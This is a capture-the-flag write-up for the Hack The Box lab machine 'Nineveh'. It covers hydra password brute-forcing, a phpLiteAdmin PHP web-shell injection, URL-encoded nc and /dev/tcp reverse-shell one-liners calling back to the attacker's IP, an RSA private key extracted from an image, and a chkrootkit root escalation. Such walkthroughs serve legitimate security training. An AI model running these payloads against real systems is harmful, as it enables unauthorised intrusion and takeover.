mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 20:37:01 +00:00
629 lines
26 KiB
Markdown
629 lines
26 KiB
Markdown
# Nineveh Writeup
|
|
|
|
|
|
|
|
## Introduction :
|
|
|
|
Nineveh is a medium linux box released back in August 2017.
|
|
|
|
## **Part 1 : Initial Enumeration**
|
|
|
|
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~]
|
|
→ nmap -F 10.10.10.43
|
|
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 11:30 GMT
|
|
Nmap scan report for 10.10.10.43
|
|
Host is up (0.098s latency).
|
|
Not shown: 98 filtered ports
|
|
PORT STATE SERVICE
|
|
80/tcp open http
|
|
443/tcp open https
|
|
|
|
Nmap done: 1 IP address (1 host up) scanned in 3.37 seconds
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~]
|
|
→ nmap -sCV -p80,443 10.10.10.43
|
|
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 11:31 GMT
|
|
Nmap scan report for 10.10.10.43
|
|
Host is up (0.095s latency).
|
|
|
|
PORT STATE SERVICE VERSION
|
|
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|
|
|_http-server-header: Apache/2.4.18 (Ubuntu)
|
|
|_http-title: Site doesn't have a title (text/html).
|
|
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|
|
|_http-server-header: Apache/2.4.18 (Ubuntu)
|
|
|_http-title: Site doesn't have a title (text/html).
|
|
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
|
|
| Not valid before: 2017-07-01T15:03:30
|
|
|_Not valid after: 2018-07-01T15:03:30
|
|
|_ssl-date: TLS randomness does not represent time
|
|
| tls-alpn:
|
|
|_ http/1.1
|
|
|
|
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
|
Nmap done: 1 IP address (1 host up) scanned in 20.26 seconds
|
|
|
|
|
|
|
|
## **Part 2 : Getting User Access**
|
|
|
|
Our nmap scan picked up port 80 running http , let's dirsearch it :
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~]
|
|
→ dirsearch -u http://10.10.10.43/ -e php,txt,html -t 50 -r
|
|
git clone https://github.com/maurosoria/dirsearch.git
|
|
|
|
_|. _ _ _ _ _ _|_ v0.3.9
|
|
(_||| _) (/_(_|| (_| )
|
|
|
|
Extensions: php, txt, html | HTTP method: get | Threads: 50 | Wordlist size: 6733 | Recursion level: 1
|
|
|
|
Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-02-25_11-33-44.log
|
|
|
|
Target: http://10.10.10.43/
|
|
|
|
[11:33:45] Starting:
|
|
[11:33:47] 403 - 297B - /.ht_wsr.txt
|
|
[11:33:47] 403 - 290B - /.hta
|
|
[11:33:47] 403 - 299B - /.htaccess-dev
|
|
[11:33:47] 403 - 301B - /.htaccess-local
|
|
[11:33:47] 403 - 301B - /.htaccess-marco
|
|
[11:33:47] 403 - 299B - /.htaccess.BAK
|
|
[11:33:47] 403 - 300B - /.htaccess.bak1
|
|
[11:33:47] 403 - 299B - /.htaccess.old
|
|
[11:33:47] 403 - 300B - /.htaccess.orig
|
|
[11:33:47] 403 - 300B - /.htaccess.save
|
|
[11:33:47] 403 - 302B - /.htaccess.sample
|
|
[11:33:47] 403 - 299B - /.htaccess.txt
|
|
[11:33:47] 403 - 301B - /.htaccess_extra
|
|
[11:33:47] 403 - 300B - /.htaccess_orig
|
|
[11:33:47] 403 - 298B - /.htaccess_sc
|
|
[11:33:47] 403 - 298B - /.htaccessBAK
|
|
[11:33:47] 403 - 298B - /.htaccessOLD
|
|
[11:33:47] 403 - 299B - /.htaccessOLD2
|
|
[11:33:47] 403 - 296B - /.htaccess~
|
|
[11:33:47] 403 - 294B - /.htgroup
|
|
[11:33:47] 403 - 299B - /.htpasswd-old
|
|
[11:33:47] 403 - 300B - /.htpasswd_test
|
|
[11:33:47] 403 - 296B - /.htpasswds
|
|
[11:33:47] 403 - 294B - /.htusers
|
|
[11:34:02] 200 - 178B - /index.md
|
|
[11:34:02] 200 - 83KB - /info.php
|
|
|
|
|
|
Our dirsearch found the info.php webpage :
|
|
|
|
|
|
|
|
So now we know the box is running php version 7.0.18 on apache2.0. Before our nmap scan picked up the domain name nineveh.htb so let's add it to our /etc/hosts file.
|
|
|
|
|
|
|
|
Let's not forget that we picked up port 443 running https earlier, so let's see what we can find there :
|
|
|
|
|
|
|
|
And we get something different ! Now let's enumerate what we can find on this using dirsearch once again :
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~]
|
|
→ dirsearch -u https://nineveh.htb/ -t 50 -x 403 -r -e php,html,txt
|
|
git clone https://github.com/maurosoria/dirsearch.git
|
|
|
|
_|. _ _ _ _ _ _|_ v0.3.9
|
|
(_||| _) (/_(_|| (_| )
|
|
|
|
Extensions: php, html, txt | HTTP method: get | Threads: 50 | Wordlist size: 6733 | Recursion level: 1
|
|
|
|
Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-02-25_12-05-15.log
|
|
|
|
Target: https://nineveh.htb/
|
|
|
|
[12:05:15] Starting:
|
|
[12:05:34] 301 - 309B - /db -> https://nineveh.htb/db/
|
|
[12:05:34] 200 - 11KB - /db/
|
|
[12:05:38] 200 - 49B - /index.md
|
|
[12:05:50] Starting: db/
|
|
[12:06:09] 200 - 11KB - /db/index.php
|
|
[12:06:09] 200 - 11KB - /db/index.php/login/
|
|
|
|
Task Completed
|
|
|
|
|
|
And we get something else interesting ! let's check out /db :
|
|
|
|
|
|
|
|
And we seem to get a phpLiteAdmin v1.9 login page with the following intercepted request :
|
|
|
|
|
|
|
|
Let's see if we can enumerate port 80 a little further using the domain name nineveh.htb, but this time using gobuster :
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~]
|
|
→ gobuster dir --url http://nineveh.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
|
|
===============================================================
|
|
Gobuster v3.0.1
|
|
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
|
|
===============================================================
|
|
[+] Url: http://nineveh.htb/
|
|
[+] Threads: 10
|
|
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
|
|
[+] Status codes: 200,204,301,302,307,401,403
|
|
[+] User Agent: gobuster/3.0.1
|
|
[+] Timeout: 10s
|
|
===============================================================
|
|
2020/02/25 12:55:13 Starting gobuster
|
|
===============================================================
|
|
/department (Status: 301)
|
|
|
|
|
|
And we found the /department directory which redirects us to a login page which has a preety straightforward login request :
|
|
|
|
|
|
|
|
Now for this next part let's use hydra to try and bruteforce the admin user password using rockyou.txt :
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~]
|
|
→ hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 -V -f http-post-form '/department/login.php:username=^USER^&password;=^PASS^:invalid password'
|
|
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
|
|
|
|
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-02-25 13:06:02
|
|
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
|
|
[DATA] attacking http-post-form://10.10.10.43:80/department/login.php:username=^USER^&password;=^PASS^:invalid password
|
|
[ATTEMPT] target 10.10.10.43 - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0)
|
|
[ATTEMPT] target 10.10.10.43 - login "admin" - pass "12345" - 2 of 14344399 [child 1] (0/0)
|
|
[ATTEMPT] target 10.10.10.43 - login "admin" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
|
|
[ATTEMPT] target 10.10.10.43 - login "admin" - pass "password" - 4 of 14344399 [child 3] (0/0)
|
|
[ATTEMPT] target 10.10.10.43 - login "admin" - pass "iloveyou" - 5 of 14344399 [child 4] (0/0)
|
|
[ATTEMPT] target 10.10.10.43 - login "admin" - pass "princess" - 6 of 14344399 [child 5] (0/0)
|
|
[ATTEMPT] target 10.10.10.43 - login "admin" - pass "1234567" - 7 of 14344399 [child 6] (0/0)
|
|
[ATTEMPT] target 10.10.10.43 - login "admin" - pass "rockyou" - 8 of 14344399 [child 7] (0/0)
|
|
|
|
[...]
|
|
|
|
[STATUS] 1523.00 tries/min, 4569 tries in 00:03h, 14339830 to do in 156:56h, 16 active
|
|
[ATTEMPT] target 10.10.10.43 - login "admin" - pass "lissette" - 4570 of 14344399 [child 12] (0/0)
|
|
[ATTEMPT] target 10.10.10.43 - login "admin" - pass "jamila" - 4571 of 14344399 [child 10] (0/0)
|
|
[ATTEMPT] target 10.10.10.43 - login "admin" - pass "hotmail1" - 4572 of 14344399 [child 6] (0/0)
|
|
[ATTEMPT] target 10.10.10.43 - login "admin" - pass "hoover" - 4573 of 14344399 [child 1] (0/0)
|
|
[80][http-post-form] host: 10.10.10.43 login: admin password: 1q2w3e4r5t
|
|
[STATUS] attack finished for 10.10.10.43 (valid pair found)
|
|
1 of 1 target successfully completed, 1 valid password found
|
|
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-02-25 13:09:05
|
|
|
|
|
|
and we have credentials ! **admin:1q2w3e4r5t** , once logged in :
|
|
|
|
|
|
|
|
Although sadly there doesn't seem to be much more to see here apart from the visible LFI when browsing to the url **http://nineveh.htb/department/manage.php?notes=/path/to/file**. let's try and go back to our previous https://nineveh.htb/db/ phpLiteAdmin login page by hydra the same way we previously did :
|
|
|
|
|
|
POST /db/index.php HTTP/1.1
|
|
Host: nineveh.htb
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: https://nineveh.htb/db/
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 55
|
|
DNT: 1
|
|
Connection: close
|
|
Cookie: PHPSESSID=cer8n35tvn02re6go6j6tbm391
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
password=nihilist&remember;=yes&login;=Log+In&proc;_login=true
|
|
|
|
|
|
So that's our login request that we interecepted with burpsuite , now let's use the appropriate hydra command :
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~]
|
|
→ hydra -l admin -P /usr/share/wordlists/rockyou.txt nineveh.htb -V -f https-post-form '/db/index.php:password=^PASS^&remember;=yes&logn;=Log+In&proc;_login=true:Incorrect password'
|
|
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
|
|
|
|
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-02-25 13:32:40
|
|
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
|
|
[DATA] attacking http-post-forms://nineveh.htb:443/db/index.php:password=^PASS^&remember;=yes&logn;=Log+In&proc;_login=true:Incorrect password
|
|
[ATTEMPT] target nineveh.htb - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0)
|
|
[ATTEMPT] target nineveh.htb - login "admin" - pass "12345" - 2 of 14344399 [child 1] (0/0)
|
|
[ATTEMPT] target nineveh.htb - login "admin" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
|
|
[ATTEMPT] target nineveh.htb - login "admin" - pass "password" - 4 of 14344399 [child 3] (0/0)
|
|
[ATTEMPT] target nineveh.htb - login "admin" - pass "iloveyou" - 5 of 14344399 [child 4] (0/0)
|
|
[ATTEMPT] target nineveh.htb - login "admin" - pass "princess" - 6 of 14344399 [child 5] (0/0)
|
|
[ATTEMPT] target nineveh.htb - login "admin" - pass "1234567" - 7 of 14344399 [child 6] (0/0)
|
|
[ATTEMPT] target nineveh.htb - login "admin" - pass "rockyou" - 8 of 14344399 [child 7] (0/0)
|
|
[ATTEMPT] target nineveh.htb - login "admin" - pass "12345678" - 9 of 14344399 [child 8] (0/0)
|
|
|
|
[...]
|
|
|
|
[ATTEMPT] target nineveh.htb - login "admin" - pass "juventus" - 1397 of 14344399 [child 11] (0/0)
|
|
[ATTEMPT] target nineveh.htb - login "admin" - pass "mahalkoh" - 1398 of 14344399 [child 7] (0/0)
|
|
^[[B[ATTEMPT] target nineveh.htb - login "admin" - pass "esteban" - 1399 of 14344399 [child 6] (0/0)
|
|
[ATTEMPT] target nineveh.htb - login "admin" - pass "mookie" - 1400 of 14344399 [child 5] (0/0)
|
|
[ATTEMPT] target nineveh.htb - login "admin" - pass "fresita" - 1401 of 14344399 [child 12] (0/0)
|
|
[443][http-post-form] host: nineveh.htb login: admin password: password123
|
|
[STATUS] attack finished for nineveh.htb (valid pair found)
|
|
1 of 1 target successfully completed, 1 valid password found
|
|
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-02-25 13:34:19
|
|
|
|
|
|
And we have it ! we have our credentials **password123** , now once we are logged in we are greeted with a dashboard :
|
|
|
|
|
|
|
|
Now let's run a searchsploit command to see if we have any public exploits for us to use :
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh]
|
|
→ searchsploit phpliteadmin
|
|
---------------------------------------------------------------- ----------------------------------------
|
|
Exploit Title | Path
|
|
| (/usr/share/exploitdb/)
|
|
---------------------------------------------------------------- ----------------------------------------
|
|
PHPLiteAdmin 1.9.3 - Remote PHP Code Injection | exploits/php/webapps/24044.txt
|
|
phpLiteAdmin - 'table' SQL Injection | exploits/php/webapps/38228.txt
|
|
phpLiteAdmin 1.1 - Multiple Vulnerabilities | exploits/php/webapps/37515.txt
|
|
phpLiteAdmin 1.9.6 - Multiple Vulnerabilities | exploits/php/webapps/39714.txt
|
|
---------------------------------------------------------------- ----------------------------------------
|
|
Shellcodes: No Result
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh]
|
|
→ locate 24044.txt
|
|
/usr/share/exploitdb/exploits/php/webapps/24044.txt
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh]
|
|
→ cp /usr/share/exploitdb/exploits/php/webapps/24044.txt .
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh]
|
|
→ nano 24044.txt
|
|
|
|
|
|
looking at the exploit 24044 we see that once logged in, we should be able to create a database with the .php extension, and within said table we can inject a command execution payload :
|
|
|
|
|
|
|
|
You need to be aware though that the page we had before on **http://nineveh.htb/department/management.php** refers to a note named ninevehNotes.txt so if you decide to use another name for your malicious database, **it will not work as intended**. Once we're done naming the database correctly we create **a table** containing our **php RCE** content in the field, choosing **TEXT** as the type :
|
|
|
|
|
|
<****?php echo system($_REQUEST["cmd"]); ?****>
|
|
|
|
` 
|
|
|
|
and hitting "create" we see that we have successfully created the table we intended :
|
|
|
|
|
|
Table 'nihilist.php' has been created.
|
|
CREATE TABLE 'nihilist.php' ('<****?php echo system($_REQUEST["cmd"]); ?****>' TEXT)
|
|
|
|
Once we're done here let's return to our previous url http://nineveh.htb/department/manage.php and this time trying to access our nihilist.php using the following URL :
|
|
|
|
|
|
http://nineveh.htb/department/manage.php?notes=/var/tmp/ninevehNotes.php&cmd;=uname -a;which nc
|
|
|
|
|
|
` 
|
|
|
|
And we get remote code execution ! now let's try a reverse shell one liner connecting back to our port 9001 (which we have ready to listen with a nc -lvnp command.) but to do so, we first need to url encode our reverse shell one liner :
|
|
|
|
|
|
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.20 9001 >/tmp/f
|
|
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.20+9001+>/tmp/f
|
|
|
|
|
|
once url encoded we have the following url to browse to :
|
|
|
|
|
|
http://nineveh.htb/department/manage.php?notes=/var/tmp/ninevehNotes.php&cmd;=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.20+9001+>/tmp/f
|
|
|
|
|
|
` 
|
|
|
|
and we get a reverse shell ! let's try to print out the user flag :
|
|
|
|
|
|
$ cd /home
|
|
$ ls
|
|
amrois
|
|
$ cd amrois
|
|
$ ls
|
|
user.txt
|
|
$ cat user.txt
|
|
cat: user.txt: Permission denied
|
|
|
|
|
|
although as you can see, we do not have enough permissions to print out the user flag. so in order to do so we need to take a look at /var/www/ssl/secure_notes
|
|
|
|
|
|
$ cd /var/www/ssl/secure_notes
|
|
$ ls
|
|
index.html
|
|
nineveh.png
|
|
|
|
|
|
browsing to this nineveh.png image, we are greeted with a 1497x746 png image :
|
|
|
|
|
|
|
|
Let's first download it and run strings on it, to see if we can extract any useful hidden information :
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh]
|
|
→ file nineveh.png
|
|
nineveh.png: PNG image data, 1497 x 746, 8-bit/color RGB, non-interlaced
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh]
|
|
→ strings nineveh.png
|
|
|
|
|
|
running the strings command we successfully revealled both a private and a public ssh key :
|
|
|
|
|
|
13126045656
|
|
014730
|
|
ustar
|
|
www-data
|
|
www-data
|
|
**-----BEGIN RSA PRIVATE KEY-----
|
|
MIIEowIBAAKCAQEAri9EUD7bwqbmEsEpIeTr2KGP/wk8YAR0Z4mmvHNJ3UfsAhpI
|
|
H9/Bz1abFbrt16vH6/jd8m0urg/Em7d/FJncpPiIH81JbJ0pyTBvIAGNK7PhaQXU
|
|
PdT9y0xEEH0apbJkuknP4FH5Zrq0nhoDTa2WxXDcSS1ndt/M8r+eTHx1bVznlBG5
|
|
FQq1/wmB65c8bds5tETlacr/15Ofv1A2j+vIdggxNgm8A34xZiP/WV7+7mhgvcnI
|
|
3oqwvxCI+VGhQZhoV9Pdj4+D4l023Ub9KyGm40tinCXePsMdY4KOLTR/z+oj4sQT
|
|
X+/1/xcl61LADcYk0Sw42bOb+yBEyc1TTq1NEQIDAQABAoIBAFvDbvvPgbr0bjTn
|
|
KiI/FbjUtKWpWfNDpYd+TybsnbdD0qPw8JpKKTJv79fs2KxMRVCdlV/IAVWV3QAk
|
|
FYDm5gTLIfuPDOV5jq/9Ii38Y0DozRGlDoFcmi/mB92f6s/sQYCarjcBOKDUL58z
|
|
GRZtIwb1RDgRAXbwxGoGZQDqeHqaHciGFOugKQJmupo5hXOkfMg/G+Ic0Ij45uoR
|
|
JZecF3lx0kx0Ay85DcBkoYRiyn+nNgr/APJBXe9Ibkq4j0lj29V5dT/HSoF17VWo
|
|
9odiTBWwwzPVv0i/JEGc6sXUD0mXevoQIA9SkZ2OJXO8JoaQcRz628dOdukG6Utu
|
|
Bato3bkCgYEA5w2Hfp2Ayol24bDejSDj1Rjk6REn5D8TuELQ0cffPujZ4szXW5Kb
|
|
ujOUscFgZf2P+70UnaceCCAPNYmsaSVSCM0KCJQt5klY2DLWNUaCU3OEpREIWkyl
|
|
1tXMOZ/T5fV8RQAZrj1BMxl+/UiV0IIbgF07sPqSA/uNXwx2cLCkhucCgYEAwP3b
|
|
vCMuW7qAc9K1Amz3+6dfa9bngtMjpr+wb+IP5UKMuh1mwcHWKjFIF8zI8CY0Iakx
|
|
DdhOa4x+0MQEtKXtgaADuHh+NGCltTLLckfEAMNGQHfBgWgBRS8EjXJ4e55hFV89
|
|
P+6+1FXXA1r/Dt/zIYN3Vtgo28mNNyK7rCr/pUcCgYEAgHMDCp7hRLfbQWkksGzC
|
|
fGuUhwWkmb1/ZwauNJHbSIwG5ZFfgGcm8ANQ/Ok2gDzQ2PCrD2Iizf2UtvzMvr+i
|
|
tYXXuCE4yzenjrnkYEXMmjw0V9f6PskxwRemq7pxAPzSk0GVBUrEfnYEJSc/MmXC
|
|
iEBMuPz0RAaK93ZkOg3Zya0CgYBYbPhdP5FiHhX0+7pMHjmRaKLj+lehLbTMFlB1
|
|
MxMtbEymigonBPVn56Ssovv+bMK+GZOMUGu+A2WnqeiuDMjB99s8jpjkztOeLmPh
|
|
PNilsNNjfnt/G3RZiq1/Uc+6dFrvO/AIdw+goqQduXfcDOiNlnr7o5c0/Shi9tse
|
|
i6UOyQKBgCgvck5Z1iLrY1qO5iZ3uVr4pqXHyG8ThrsTffkSVrBKHTmsXgtRhHoc
|
|
il6RYzQV/2ULgUBfAwdZDNtGxbu5oIUB938TCaLsHFDK6mSTbvB/DywYYScAWwF7
|
|
fw4LVXdQMjNJC3sn3JaqY1zJkE4jXlZeNQvCx4ZadtdJD9iO+EUG
|
|
-----END RSA PRIVATE KEY-----**
|
|
secret/nineveh.pub
|
|
0000644
|
|
0000041
|
|
0000041
|
|
00000000620
|
|
13126060277
|
|
014541
|
|
ustar
|
|
www-data
|
|
www-data
|
|
**ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuL0RQPtvCpuYSwSkh5OvYoY//CTxgBHRniaa8c0ndR+wCGkgf38HPVpsVuu3Xq8fr+N3ybS6uD8Sbt38Umdyk+IgfzUlsnSnJMG8gAY0rs+FpBdQ91P3LTEQQfRqlsmS6Sc/gUflmurSeGgNNrZbFcNxJLWd238zyv55MfHVtXOeUEbkVCrX/CYHrlzxt2zm0ROVpyv/Xk5+/UDaP68h2CDE2CbwDfjFmI/9ZXv7uaGC9ycjeirC/EIj5UaFBmGhX092Pj4PiXTbdRv0rIabjS2KcJd4+wx1jgo4tNH/P6iPixBNf7/X/FyXrUsANxiTRLDjZs5v7IETJzVNOrU0R amrois@nineveh.htb**
|
|
|
|
|
|
|
|
so we save them both locally :
|
|
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh]
|
|
→ nano pkey
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh]
|
|
→ nano pubkey
|
|
|
|
|
|
|
|
before we use the ssh key though, we need to somehow open the port 22, so we check /etc/knockd.conf to see what we should do :
|
|
|
|
|
|
$ cat /etc/knockd.conf
|
|
[options]
|
|
logfile = /var/log/knockd.log
|
|
interface = ens33
|
|
|
|
[openSSH]
|
|
sequence = 571, 290, 911
|
|
seq_timeout = 5
|
|
start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
|
|
tcpflags = syn
|
|
|
|
[closeSSH]
|
|
sequence = 911,290,571
|
|
seq_timeout = 5
|
|
start_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
|
|
tcpflags = syn
|
|
|
|
|
|
Now we need to basically scan each of the mentionned ports (911,290,571) to open the port 22 (ssh), so we run the according nmap scan to scan the ports we need in the CORRECT sequence :
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh]
|
|
→ for x in 571 290 911 22; do nmap -Pn --max-retries 0 -p $x 10.10.10.43; done
|
|
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 14:41 GMT
|
|
Warning: 10.10.10.43 giving up on port because retransmission cap hit (0).
|
|
Nmap scan report for nineveh.htb (10.10.10.43)
|
|
Host is up.
|
|
|
|
PORT STATE SERVICE
|
|
571/tcp filtered umeter
|
|
|
|
Nmap done: 1 IP address (1 host up) scanned in 1.08 seconds
|
|
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 14:41 GMT
|
|
Warning: 10.10.10.43 giving up on port because retransmission cap hit (0).
|
|
Nmap scan report for nineveh.htb (10.10.10.43)
|
|
Host is up.
|
|
|
|
PORT STATE SERVICE
|
|
290/tcp filtered unknown
|
|
|
|
Nmap done: 1 IP address (1 host up) scanned in 1.07 seconds
|
|
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 14:41 GMT
|
|
Warning: 10.10.10.43 giving up on port because retransmission cap hit (0).
|
|
Nmap scan report for nineveh.htb (10.10.10.43)
|
|
Host is up.
|
|
|
|
PORT STATE SERVICE
|
|
911/tcp filtered xact-backup
|
|
|
|
Nmap done: 1 IP address (1 host up) scanned in 1.07 seconds
|
|
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 14:41 GMT
|
|
Nmap scan report for nineveh.htb (10.10.10.43)
|
|
Host is up (0.100s latency).
|
|
|
|
PORT STATE SERVICE
|
|
22/tcp open ssh
|
|
|
|
Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
|
|
|
|
|
|
and port 22 is opened ! now let's connect with our ssh key as the user amrois:
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh]
|
|
→ chmod 600 pkey
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh]
|
|
→ ssh -i pkey amrois@10.10.10.43
|
|
The authenticity of host '10.10.10.43 (10.10.10.43)' can't be established.
|
|
ECDSA key fingerprint is SHA256:aWXPsULnr55BcRUl/zX0n4gfJy5fg29KkuvnADFyMvk.
|
|
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
|
|
Warning: Permanently added '10.10.10.43' (ECDSA) to the list of known hosts.
|
|
Ubuntu 16.04.2 LTS
|
|
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)
|
|
|
|
* Documentation: https://help.ubuntu.com
|
|
* Management: https://landscape.canonical.com
|
|
* Support: https://ubuntu.com/advantage
|
|
|
|
133 packages can be updated.
|
|
66 updates are security updates.
|
|
|
|
|
|
You have mail.
|
|
Last login: Mon Jul 3 00:19:59 2017 from 192.168.0.14
|
|
amrois@nineveh:~$ cat /home/amrois/user.txt
|
|
82XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
|
|
|
|
|
And that's it ! we finally have the user flag.
|
|
|
|
## **Part 3 : Getting Root Access**
|
|
|
|
Now in order to privesc we need to take a look at the /usr/bin/ directory containing the chkrootkit executable :
|
|
|
|
|
|
amrois@nineveh:/usr/bin$ cd ~
|
|
amrois@nineveh:~$ ls
|
|
user.txt
|
|
amrois@nineveh:/tmp$ which curl
|
|
/usr/bin/curl
|
|
amrois@nineveh:~$ ls -lash /usr/bin/ | grep chkroot
|
|
76K -rwx--x--x 1 root root 75K Jul 2 2017 chkrootkit
|
|
amrois@nineveh:~$ file /usr/bin/chkrootkit
|
|
/usr/bin/chkrootkit: executable, regular file, no read permission
|
|
|
|
|
|
and we see that it's owned by root ! now running a quick searchsploitcommand we see that we can do the following to gain root access thanks to this chkrootkit binary :
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~]
|
|
→ searchsploit chkrootkit
|
|
----------------------------------------------------------------------------- ----------------------------------------
|
|
Exploit Title | Path
|
|
| (/usr/share/exploitdb/)
|
|
----------------------------------------------------------------------------- ----------------------------------------
|
|
Chkrootkit - Local Privilege Escalation (Metasploit) | exploits/linux/local/38775.rb
|
|
Chkrootkit 0.49 - Local Privilege Escalation | exploits/linux/local/33899.txt
|
|
----------------------------------------------------------------------------- ----------------------------------------
|
|
Shellcodes: No Result
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~]
|
|
→ locate 33899.txt
|
|
/usr/share/exploitdb/exploits/linux/local/33899.txt
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~]
|
|
→ cat /usr/share/exploitdb/exploits/linux/local/33899.txt
|
|
|
|
|
|
|
|
Steps to reproduce:
|
|
|
|
- Put an executable file named 'update' with non-root owner in /tmp (not
|
|
mounted noexec, obviously)
|
|
- Run chkrootkit (as uid 0)
|
|
|
|
Result: The file /tmp/update will be executed as root, thus effectively
|
|
rooting your box, if malicious content is placed inside the file.
|
|
|
|
If an attacker knows you are periodically running chkrootkit (like in
|
|
cron.daily) and has write access to /tmp (not mounted noexec), he may
|
|
easily take advantage of this.
|
|
|
|
|
|
|
|
so to replicate the aforementionned steps, we'll put into our update file placed in /tmp the reverse shell one liner we used twice already : uploading it thanks to the curl command which is there on the machine.
|
|
|
|
|
|
#!/bin/bash
|
|
bash -i >& /dev/tcp/10.10.14.20/9003 0>&1
|
|
|
|
|
|
` _Terminal 1 :_
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh]
|
|
→ nano update
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh]
|
|
→ python -m SimpleHTTPServer 7070
|
|
Serving HTTP on 0.0.0.0 port 7070 ...
|
|
|
|
|
|
` _Terminal 2 :_
|
|
|
|
|
|
amrois@nineveh:/tmp$ curl -sk http://10.10.14.20:7070/update > update
|
|
amrois@nineveh:/tmp$ ls -lash | grep update
|
|
4.0K -rw-rw-r-- 1 amrois amrois 71 Feb 25 08:59 update
|
|
amrois@nineveh:/tmp$ chmod +x update
|
|
|
|
amrois@nineveh:~$ cat /tmp/update
|
|
#!/bin/bash
|
|
bash -i >& /dev/tcp/10.10.14.20/9003 0>&1
|
|
|
|
|
|
` _Terminal 3 :_
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~]
|
|
→ nc -lvnp 9003
|
|
listening on [any] 9003 ...
|
|
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.43] 41598
|
|
bash: cannot set terminal process group (19824): Inappropriate ioctl for device
|
|
bash: no job control in this shell
|
|
root@nineveh:~# cat /root/root.txt
|
|
cat /root/root.txt
|
|
8aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
|
|
|
|
|
|
|
